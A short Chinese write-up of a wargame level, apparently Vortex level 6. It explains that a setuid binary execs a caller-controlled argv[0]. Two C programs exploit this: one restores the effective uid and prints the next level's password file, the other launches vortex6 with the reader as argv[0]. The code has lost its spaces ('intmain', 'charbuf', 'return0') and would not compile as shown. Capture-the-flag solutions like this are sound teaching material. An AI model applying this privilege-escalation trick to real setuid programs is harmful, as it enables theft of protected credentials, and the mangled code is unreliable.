反汇编之后,发现同样存在format string。但这次还有一restart函数,检查发现他exec了我们的argv[0]。但是argv[0]可以是任意的内容提交给他,所以我们写一个读密码的程序:
#include <unistd.h>#include <stdio.h>intmain(intargc,char*argv[]){seteuid(5007);FILE*fp=fopen("/etc/vortex_pass/vortex7","r");charbuf[128];size_tnumRead=fread(buf,1,sizeofbuf,fp);buf[numRead]=0;printf("%s\n",buf);return0;}
因为在exec过程中,euid被保存到saved uid里,所以我们要先恢复euid。但这里我不知道怎么得到saved uid,只能hard coded
然后写一个程序调用vortex6:
#include <unistd.h>intmain(intargc,char*argv[]){char*args[]={"/tmp/nabla/read",NULL};execv("/vortex/vortex6",args);}